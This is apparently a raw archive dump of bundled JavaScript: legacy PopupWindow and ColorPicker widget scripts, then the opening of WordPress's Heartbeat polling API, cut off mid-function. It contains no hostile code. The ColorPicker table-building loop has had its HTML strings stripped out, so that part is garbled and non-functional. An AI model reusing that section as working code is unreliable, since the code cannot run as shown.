AnchorPosition_getWindowOffsetLeft (el) { return AnchorPosition_getPageOffsetLeft(el)-document.body.scrollLeft; } function AnchorPosition_getPageOffsetTop (el) { var ot=el.offsetTop; while((el=el.offsetParent) != null) { ot += el.offsetTop; } return ot; } function AnchorPosition_getWindowOffsetTop (el) { return AnchorPosition_getPageOffsetTop(el)-document.body.scrollTop; } /* SOURCE FILE: PopupWindow.js */ /* PopupWindow.js Author: Matt Kruse Last modified: 02/16/04 DESCRIPTION: This object allows you to easily and quickly popup a window in a certain place. The window can either be a DIV or a separate browser window. COMPATABILITY: Works with Netscape 4.x, 6.x, IE 5.x on Windows. Some small positioning errors - usually with Window positioning - occur on the Macintosh platform. Due to bugs in Netscape 4.x, populating the popup window with <STYLE> tags may cause errors. USAGE: // Create an object for a WINDOW popup var win = new PopupWindow(); // Create an object for a DIV window using the DIV named 'mydiv' var win = new PopupWindow('mydiv'); // Set the window to automatically hide itself when the user clicks // anywhere else on the page except the popup win.autoHide(); // Show the window relative to the anchor name passed in win.showPopup(anchorname); // Hide the popup win.hidePopup(); // Set the size of the popup window (only applies to WINDOW popups win.setSize(width,height); // Populate the contents of the popup window that will be shown. If you // change the contents while it is displayed, you will need to refresh() win.populate(string); // set the URL of the window, rather than populating its contents // manually win.setUrl("http://www.site.com/"); // Refresh the contents of the popup win.refresh(); // Specify how many pixels to the right of the anchor the popup will appear win.offsetX = 50; // Specify how many pixels below the anchor the popup will appear win.offsetY = 100; NOTES: 1) Requires the functions in AnchorPosition.js 2) Your anchor tag MUST contain both NAME and ID attributes which are the same. For example: <A NAME="test" ID="test"> </A> 3) There must be at least a space between <A> </A> for IE5.5 to see the anchor tag correctly. Do not do <A></A> with no space. 4) When a PopupWindow object is created, a handler for 'onmouseup' is attached to any event handler you may have already defined. Do NOT define an event handler for 'onmouseup' after you define a PopupWindow object or the autoHide() will not work correctly. */ // Set the position of the popup window based on the anchor function PopupWindow_getXYPosition(anchorname) { var coordinates; if (this.type == "WINDOW") { coordinates = getAnchorWindowPosition(anchorname); } else { coordinates = getAnchorPosition(anchorname); } this.x = coordinates.x; this.y = coordinates.y; } // Set width/height of DIV/popup window function PopupWindow_setSize(width,height) { this.width = width; this.height = height; } // Fill the window with contents function PopupWindow_populate(contents) { this.contents = contents; this.populated = false; } // Set the URL to go to function PopupWindow_setUrl(url) { this.url = url; } // Set the window popup properties function PopupWindow_setWindowProperties(props) { this.windowProperties = props; } // Refresh the displayed contents of the popup function PopupWindow_refresh() { if (this.divName != null) { // refresh the DIV object if (this.use_gebi) { document.getElementById(this.divName).innerHTML = this.contents; } else if (this.use_css) { document.all[this.divName].innerHTML = this.contents; } else if (this.use_layers) { var d = document.layers[this.divName]; d.document.open(); d.document.writeln(this.contents); d.document.close(); } } else { if (this.popupWindow != null && !this.popupWindow.closed) { if (this.url!="") { this.popupWindow.location.href=this.url; } else { this.popupWindow.document.open(); this.popupWindow.document.writeln(this.contents); this.popupWindow.document.close(); } this.popupWindow.focus(); } } } // Position and show the popup, relative to an anchor object function PopupWindow_showPopup(anchorname) { this.getXYPosition(anchorname); this.x += this.offsetX; this.y += this.offsetY; if (!this.populated && (this.contents != "")) { this.populated = true; this.refresh(); } if (this.divName != null) { // Show the DIV object if (this.use_gebi) { document.getElementById(this.divName).style.left = this.x + "px"; document.getElementById(this.divName).style.top = this.y; document.getElementById(this.divName).style.visibility = "visible"; } else if (this.use_css) { document.all[this.divName].style.left = this.x; document.all[this.divName].style.top = this.y; document.all[this.divName].style.visibility = "visible"; } else if (this.use_layers) { document.layers[this.divName].left = this.x; document.layers[this.divName].top = this.y; document.layers[this.divName].visibility = "visible"; } } else { if (this.popupWindow == null || this.popupWindow.closed) { // If the popup window will go off-screen, move it so it doesn't if (this.x<0) { this.x=0; } if (this.y<0) { this.y=0; } if (screen && screen.availHeight) { if ((this.y + this.height) > screen.availHeight) { this.y = screen.availHeight - this.height; } } if (screen && screen.availWidth) { if ((this.x + this.width) > screen.availWidth) { this.x = screen.availWidth - this.width; } } var avoidAboutBlank = window.opera || ( document.layers && !navigator.mimeTypes['*'] ) || navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled ); this.popupWindow = window.open(avoidAboutBlank?"":"about:blank","window_"+anchorname,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+""); } this.refresh(); } } // Hide the popup function PopupWindow_hidePopup() { if (this.divName != null) { if (this.use_gebi) { document.getElementById(this.divName).style.visibility = "hidden"; } else if (this.use_css) { document.all[this.divName].style.visibility = "hidden"; } else if (this.use_layers) { document.layers[this.divName].visibility = "hidden"; } } else { if (this.popupWindow && !this.popupWindow.closed) { this.popupWindow.close(); this.popupWindow = null; } } } // Pass an event and return whether or not it was the popup DIV that was clicked function PopupWindow_isClicked(e) { if (this.divName != null) { if (this.use_layers) { var clickX = e.pageX; var clickY = e.pageY; var t = document.layers[this.divName]; if ((clickX > t.left) && (clickX < t.left+t.clip.width) && (clickY > t.top) && (clickY < t.top+t.clip.height)) { return true; } else { return false; } } else if (document.all) { // Need to hard-code this to trap IE for error-handling var t = window.event.srcElement; while (t.parentElement != null) { if (t.id==this.divName) { return true; } t = t.parentElement; } return false; } else if (this.use_gebi && e) { var t = e.originalTarget; while (t.parentNode != null) { if (t.id==this.divName) { return true; } t = t.parentNode; } return false; } return false; } return false; } // Check an onMouseDown event to see if we should hide function PopupWindow_hideIfNotClicked(e) { if (this.autoHideEnabled && !this.isClicked(e)) { this.hidePopup(); } } // Call this to make the DIV disable automatically when mouse is clicked outside it function PopupWindow_autoHide() { this.autoHideEnabled = true; } // This global function checks all PopupWindow objects onmouseup to see if they should be hidden function PopupWindow_hidePopupWindows(e) { for (var i=0; i<popupWindowObjects.length; i++) { if (popupWindowObjects[i] != null) { var p = popupWindowObjects[i]; p.hideIfNotClicked(e); } } } // Run this immediately to attach the event listener function PopupWindow_attachListener() { if (document.layers) { document.captureEvents(Event.MOUSEUP); } window.popupWindowOldEventListener = document.onmouseup; if (window.popupWindowOldEventListener != null) { document.onmouseup = new Function("window.popupWindowOldEventListener(); PopupWindow_hidePopupWindows();"); } else { document.onmouseup = PopupWindow_hidePopupWindows; } } // CONSTRUCTOR for the PopupWindow object // Pass it a DIV name to use a DHTML popup, otherwise will default to window popup function PopupWindow() { if (!window.popupWindowIndex) { window.popupWindowIndex = 0; } if (!window.popupWindowObjects) { window.popupWindowObjects = new Array(); } if (!window.listenerAttached) { window.listenerAttached = true; PopupWindow_attachListener(); } this.index = popupWindowIndex++; popupWindowObjects[this.index] = this; this.divName = null; this.popupWindow = null; this.width=0; this.height=0; this.populated = false; this.visible = false; this.autoHideEnabled = false; this.contents = ""; this.url=""; this.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars=auto,resizable,alwaysRaised,dependent,titlebar=no"; if (arguments.length>0) { this.type="DIV"; this.divName = arguments[0]; } else { this.type="WINDOW"; } this.use_gebi = false; this.use_css = false; this.use_layers = false; if (document.getElementById) { this.use_gebi = true; } else if (document.all) { this.use_css = true; } else if (document.layers) { this.use_layers = true; } else { this.type = "WINDOW"; } this.offsetX = 0; this.offsetY = 0; // Method mappings this.getXYPosition = PopupWindow_getXYPosition; this.populate = PopupWindow_populate; this.setUrl = PopupWindow_setUrl; this.setWindowProperties = PopupWindow_setWindowProperties; this.refresh = PopupWindow_refresh; this.showPopup = PopupWindow_showPopup; this.hidePopup = PopupWindow_hidePopup; this.setSize = PopupWindow_setSize; this.isClicked = PopupWindow_isClicked; this.autoHide = PopupWindow_autoHide; this.hideIfNotClicked = PopupWindow_hideIfNotClicked; } /* SOURCE FILE: ColorPicker2.js */ /* Last modified: 02/24/2003 DESCRIPTION: This widget is used to select a color, in hexadecimal #RRGGBB form. It uses a color "swatch" to display the standard 216-color web-safe palette. The user can then click on a color to select it. COMPATABILITY: See notes in AnchorPosition.js and PopupWindow.js. Only the latest DHTML-capable browsers will show the color and hex values at the bottom as your mouse goes over them. USAGE: // Create a new ColorPicker object using DHTML popup var cp = new ColorPicker(); // Create a new ColorPicker object using Window Popup var cp = new ColorPicker('window'); // Add a link in your page to trigger the popup. For example: <A HREF="#" onClick="cp.show('pick');return false;" NAME="pick" ID="pick">Pick</A> // Or use the built-in "select" function to do the dirty work for you: <A HREF="#" onClick="cp.select(document.forms[0].color,'pick');return false;" NAME="pick" ID="pick">Pick</A> // If using DHTML popup, write out the required DIV tag near the bottom // of your page. <SCRIPT LANGUAGE="JavaScript">cp.writeDiv()</SCRIPT> // Write the 'pickColor' function that will be called when the user clicks // a color and do something with the value. This is only required if you // want to do something other than simply populate a form field, which is // what the 'select' function will give you. function pickColor(color) { field.value = color; } NOTES: 1) Requires the functions in AnchorPosition.js and PopupWindow.js 2) Your anchor tag MUST contain both NAME and ID attributes which are the same. For example: <A NAME="test" ID="test"> </A> 3) There must be at least a space between <A> </A> for IE5.5 to see the anchor tag correctly. Do not do <A></A> with no space. 4) When a ColorPicker object is created, a handler for 'onmouseup' is attached to any event handler you may have already defined. Do NOT define an event handler for 'onmouseup' after you define a ColorPicker object or the color picker will not hide itself correctly. */ ColorPicker_targetInput = null; function ColorPicker_writeDiv() { document.writeln("<DIV ID=\"colorPickerDiv\" STYLE=\"position:absolute;visibility:hidden;\"> </DIV>"); } function ColorPicker_show(anchorname) { this.showPopup(anchorname); } function ColorPicker_pickColor(color,obj) { obj.hidePopup(); pickColor(color); } // A Default "pickColor" function to accept the color passed back from popup. // User can over-ride this with their own function. function pickColor(color) { if (ColorPicker_targetInput==null) { alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!"); return; } ColorPicker_targetInput.value = color; } // This function is the easiest way to popup the window, select a color, and // have the value populate a form field, which is what most people want to do. function ColorPicker_select(inputobj,linkname) { if (inputobj.type!="text" && inputobj.type!="hidden" && inputobj.type!="textarea") { alert("colorpicker.select: Input object passed is not a valid form input object"); window.ColorPicker_targetInput=null; return; } window.ColorPicker_targetInput = inputobj; this.show(linkname); } // This function runs when you move your mouse over a color block, if you have a newer browser function ColorPicker_highlightColor(c) { var thedoc = (arguments.length>1)?arguments[1]:window.document; var d = thedoc.getElementById("colorPickerSelectedColor"); d.style.backgroundColor = c; d = thedoc.getElementById("colorPickerSelectedColorValue"); d.innerHTML = c; } function ColorPicker() { var windowMode = false; // Create a new PopupWindow object if (arguments.length==0) { var divname = "colorPickerDiv"; } else if (arguments[0] == "window") { var divname = ''; windowMode = true; } else { var divname = arguments[0]; } if (divname != "") { var cp = new PopupWindow(divname); } else { var cp = new PopupWindow(); cp.setSize(225,250); } // Object variables cp.currentValue = "#FFFFFF"; // Method Mappings cp.writeDiv = ColorPicker_writeDiv; cp.highlightColor = ColorPicker_highlightColor; cp.show = ColorPicker_show; cp.select = ColorPicker_select; // Code to populate color picker window var colors = new Array( "#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099", "#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099", "#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099", "#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF", "#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F", "#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000", "#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399", "#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399", "#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399", "#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF", "#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F", "#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00", "#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699", "#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699", "#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699", "#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F", "#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F", "#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F", "#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999", "#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999", "#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999", "#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF", "#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F", "#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000", "#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99", "#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99", "#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99", "#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF", "#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F", "#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00", "#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99", "#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99", "#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99", "#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F", "#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F", "#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F", "#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666", "#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000", "#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000", "#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999", "#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF", "#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF", "#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66", "#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00", "#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000", "#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099", "#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF", "#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF", "#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF", "#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC", "#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000", "#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900", "#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33", "#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF", "#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF", "#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF", "#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F", "#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F", "#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F", "#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000"); var total = colors.length; var width = 72; var cp_contents = ""; var windowRef = (windowMode)?"window.opener.":""; if (windowMode) { cp_contents += "<html><head><title>Select Color"; cp_contents += ""; } cp_contents += ""; var use_highlight = (document.getElementById || document.all)?true:false; for (var i=0; i '; if ( ((i+1)>=total) || (((i+1) % width) == 0)) { cp_contents += ""; } } // If the browser supports dynamically changing TD cells, add the fancy stuff if (document.getElementById) { var width1 = Math.floor(width/2); var width2 = width = width1; cp_contents += ""; } cp_contents += "
     #FFFFFF
    "; if (windowMode) { cp_contents += "
    "; } // end populate code // Write the contents to the popup object cp.populate(cp_contents+"\n"); // Move the table down a bit so you can see it cp.offsetY = 25; cp.autoHide(); return cp; } js/heartbeat.js000064400000055307147177035020007475 0ustar00/** * Heartbeat API * * Heartbeat is a simple server polling API that sends XHR requests to * the server every 15 - 60 seconds and triggers events (or callbacks) upon * receiving data. Currently these 'ticks' handle transports for post locking, * login-expiration warnings, autosave, and related tasks while a user is logged in. * * Available PHP filters (in ajax-actions.php): * - heartbeat_received * - heartbeat_send * - heartbeat_tick * - heartbeat_nopriv_received * - heartbeat_nopriv_send * - heartbeat_nopriv_tick * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat() * * Custom jQuery events: * - heartbeat-send * - heartbeat-tick * - heartbeat-error * - heartbeat-connection-lost * - heartbeat-connection-restored * - heartbeat-nonces-expired * * @since 3.6.0 * @output wp-includes/js/heartbeat.js */ ( function( $, window, undefined ) { /** * Constructs the Heartbeat API. * * @since 3.6.0 * * @return {Object} An instance of the Heartbeat class. * @constructor */ var Heartbeat = function() { var $document = $(document), settings = { // Suspend/resume. suspend: false, // Whether suspending is enabled. suspendEnabled: true, // Current screen id, defaults to the JS global 'pagenow' when present // (in the admin) or 'front'. screenId: '', // XHR request URL, defaults to the JS global 'ajaxurl' when present. url: '', // Timestamp, start of the last connection request. lastTick: 0, // Container for the enqueued items. queue: {}, // Connect interval (in seconds). mainInterval: 60, // Used when the interval is set to 5 seconds temporarily. tempInterval: 0, // Used when the interval is reset. originalInterval: 0, // Used to limit the number of Ajax requests. minimalInterval: 0, // Used together with tempInterval. countdown: 0, // Whether a connection is currently in progress. connecting: false, // Whether a connection error occurred. connectionError: false, // Used to track non-critical errors. errorcount: 0, // Whether at least one connection has been completed successfully. hasConnected: false, // Whether the current browser window is in focus and the user is active. hasFocus: true, // Timestamp, last time the user was active. Checked every 30 seconds. userActivity: 0, // Flag whether events tracking user activity were set. userActivityEvents: false, // Timer that keeps track of how long a user has focus. checkFocusTimer: 0, // Timer that keeps track of how long needs to be waited before connecting to // the server again. beatTimer: 0 }; /** * Sets local variables and events, then starts the heartbeat. * * @since 3.8.0 * @access private * * @return {void} */ function initialize() { var options, hidden, visibilityState, visibilitychange; if ( typeof window.pagenow === 'string' ) { settings.screenId = window.pagenow; } if ( typeof window.ajaxurl === 'string' ) { settings.url = window.ajaxurl; } // Pull in options passed from PHP. if ( typeof window.heartbeatSettings === 'object' ) { options = window.heartbeatSettings; // The XHR URL can be passed as option when window.ajaxurl is not set. if ( ! settings.url && options.ajaxurl ) { settings.url = options.ajaxurl; } /* * The interval can be from 15 to 120 seconds and can be set temporarily to 5 seconds. * It can be set in the initial options or changed later through JS and/or through PHP. */ if ( options.interval ) { settings.mainInterval = options.interval; if ( settings.mainInterval < 15 ) { settings.mainInterval = 15; } else if ( settings.mainInterval > 120 ) { settings.mainInterval = 120; } } /* * Used to limit the number of Ajax requests. Overrides all other intervals * if they are shorter. Needed for some hosts that cannot handle frequent requests * and the user may exceed the allocated server CPU time, etc. The minimal interval * can be up to 600 seconds, however setting it to longer than 120 seconds * will limit or disable some of the functionality (like post locks). * Once set at initialization, minimalInterval cannot be changed/overridden. */ if ( options.minimalInterval ) { options.minimalInterval = parseInt( options.minimalInterval, 10 ); settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0; } if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) { settings.mainInterval = settings.minimalInterval; } // 'screenId' can be added from settings on the front end where the JS global // 'pagenow' is not set. if ( ! settings.screenId ) { settings.screenId = options.screenId || 'front'; } if ( options.suspension === 'disable' ) { settings.suspendEnabled = false; } } // Convert to milliseconds. settings.mainInterval = settings.mainInterval * 1000; settings.originalInterval = settings.mainInterval; if ( settings.minimalInterval ) { settings.minimalInterval = settings.minimalInterval * 1000; } /* * Switch the interval to 120 seconds by using the Page Visibility API. * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard * inactivity. */ if ( typeof document.hidden !== 'undefined' ) { hidden = 'hidden'; visibilitychange = 'visibilitychange'; visibilityState = 'visibilityState'; } else if ( typeof document.msHidden !== 'undefined' ) { // IE10. hidden = 'msHidden'; visibilitychange = 'msvisibilitychange'; visibilityState = 'msVisibilityState'; } else if ( typeof document.webkitHidden !== 'undefined' ) { // Android. hidden = 'webkitHidden'; visibilitychange = 'webkitvisibilitychange'; visibilityState = 'webkitVisibilityState'; } if ( hidden ) { if ( document[hidden] ) { settings.hasFocus = false; } $document.on( visibilitychange + '.wp-heartbeat', function() { if ( document[visibilityState] === 'hidden' ) { blurred(); window.clearInterval( settings.checkFocusTimer ); } else { focused(); if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } } }); } // Use document.hasFocus() if available. if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } $(window).on( 'unload.wp-heartbeat', function() { // Don't connect anymore. settings.suspend = true; // Abort the last request if not completed. if ( settings.xhr && settings.xhr.readyState !== 4 ) { settings.xhr.abort(); } }); // Check for user activity every 30 seconds. window.setInterval( checkUserActivity, 30000 ); // Start one tick after DOM ready. $( function() { settings.lastTick = time(); scheduleNextTick(); }); } /** * Returns the current time according to the browser. * * @since 3.6.0 * @access private * * @return {number} Returns the current time. */ function time() { return (new Date()).getTime(); } /** * Checks if the iframe is from the same origin. * * @since 3.6.0 * @access private * * @return {boolean} Returns whether or not the iframe is from the same origin. */ function isLocalFrame( frame ) { var origin, src = frame.src; /* * Need to compare strings as WebKit doesn't throw JS errors when iframes have * different origin. It throws uncatchable exceptions. */ if ( src && /^https?:\/\//.test( src ) ) { origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host; if ( src.indexOf( origin ) !== 0 ) { return false; } } try { if ( frame.contentWindow.document ) { return true; } } catch(e) {} return false; } /** * Checks if the document's focus has changed. * * @since 4.1.0 * @access private * * @return {void} */ function checkFocus() { if ( settings.hasFocus && ! document.hasFocus() ) { blurred(); } else if ( ! settings.hasFocus && document.hasFocus() ) { focused(); } } /** * Sets error state and fires an event on XHR errors or timeout. * * @since 3.8.0 * @access private * * @param {string} error The error type passed from the XHR. * @param {number} status The HTTP status code passed from jqXHR * (200, 404, 500, etc.). * * @return {void} */ function setErrorState( error, status ) { var trigger; if ( error ) { switch ( error ) { case 'abort': // Do nothing. break; case 'timeout': // No response for 30 seconds. trigger = true; break; case 'error': if ( 503 === status && settings.hasConnected ) { trigger = true; break; } /* falls through */ case 'parsererror': case 'empty': case 'unknown': settings.errorcount++; if ( settings.errorcount > 2 && settings.hasConnected ) { trigger = true; } break; } if ( trigger && ! hasConnectionError() ) { settings.connectionError = true; $document.trigger( 'heartbeat-connection-lost', [error, status] ); wp.hooks.doAction( 'heartbeat.connection-lost', error, status ); } } } /** * Clears the error state and fires an event if there is a connection error. * * @since 3.8.0 * @access private * * @return {void} */ function clearErrorState() { // Has connected successfully. settings.hasConnected = true; if ( hasConnectionError() ) { settings.errorcount = 0; settings.connectionError = false; $document.trigger( 'heartbeat-connection-restored' ); wp.hooks.doAction( 'heartbeat.connection-restored' ); } } /** * Gathers the data and connects to the server. * * @since 3.6.0 * @access private * * @return {void} */ function connect() { var ajaxData, heartbeatData; // If the connection to the server is slower than the interval, // heartbeat connects as soon as the previous connection's response is received. if ( settings.connecting || settings.suspend ) { return; } settings.lastTick = time(); heartbeatData = $.extend( {}, settings.queue ); // Clear the data queue. Anything added after this point will be sent on the next tick. settings.queue = {}; $document.trigger( 'heartbeat-send', [ heartbeatData ] ); wp.hooks.doAction( 'heartbeat.send', heartbeatData ); ajaxData = { data: heartbeatData, interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000, _nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '', action: 'heartbeat', screen_id: settings.screenId, has_focus: settings.hasFocus }; if ( 'customize' === settings.screenId ) { ajaxData.wp_customize = 'on'; } settings.connecting = true; settings.xhr = $.ajax({ url: settings.url, type: 'post', timeout: 30000, // Throw an error if not completed after 30 seconds. data: ajaxData, dataType: 'json' }).always( function() { settings.connecting = false; scheduleNextTick(); }).done( function( response, textStatus, jqXHR ) { var newInterval; if ( ! response ) { setErrorState( 'empty' ); return; } clearErrorState(); if ( response.nonces_expired ) { $document.trigger( 'heartbeat-nonces-expired' ); wp.hooks.doAction( 'heartbeat.nonces-expired' ); } // Change the interval from PHP. if ( response.heartbeat_interval ) { newInterval = response.heartbeat_interval; delete response.heartbeat_interval; } // Update the heartbeat nonce if set. if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) { window.heartbeatSettings.nonce = response.heartbeat_nonce; delete response.heartbeat_nonce; } // Update the Rest API nonce if set and wp-api loaded. if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) { window.wpApiSettings.nonce = response.rest_nonce; // This nonce is required for api-fetch through heartbeat.tick. // delete response.rest_nonce; } $document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] ); wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR ); // Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'. if ( 